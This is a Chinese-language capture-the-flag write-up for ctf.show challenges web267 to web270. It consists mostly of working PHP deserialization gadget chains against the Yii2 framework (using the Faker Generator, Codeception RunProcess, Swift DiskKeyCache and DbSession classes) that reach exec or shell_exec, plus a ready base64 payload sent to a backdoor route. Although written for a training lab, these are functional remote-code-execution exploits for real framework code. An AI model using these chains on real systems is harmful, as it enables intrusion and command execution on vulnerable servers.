web267

查看源代码发现这三个页面
然后发现登录页面直接admin/admin登录成功

然后看到了

///backdoor/shell
unserialize(base64_decode($_GET['code']))

EXP

<?php 
namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='exec';$this->id='cat /flag >3.txt';}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close']=[new IndexAction(),'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>

传参GET:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjExOiJscyAvID4xLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
访问
http://08a2bbcd-9f38-4806-bf8d-902d04e4a1fc.challenge.ctf.show/1.txt

web268

一样的操作
EXP

<?php 
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flags | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['isRunning']=[new CreateAction(),'run'];}}
}
namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this->processes=[new Generator()];}}
}
namespace {echo base64_encode((serialize(new Codeception\Extension\RunProcess())));
}
?>
忘记解释了shell_exec是一个用于在 shell 中执行命令，并返回输出的php系统函数
id='cat /flags | tee 2.txt';
我自己写的时候呢是写的'cat /flags >3.txt'但是这种并不会在屏幕上面显示不好
所以还是用管道符| 和 tee

web269

EXP

<?php 
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flagsa | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['render']=[new CreateAction(),'run'];}}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description=new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys=[];private $path;public function __construct(){$this->path=new See;$this->keys=array("axin"=>array("is"=>"handsome"));}}echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

EXP

<?php
namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flagsaa | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$this->writeCallback=[new IndexAction(),'run'];}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>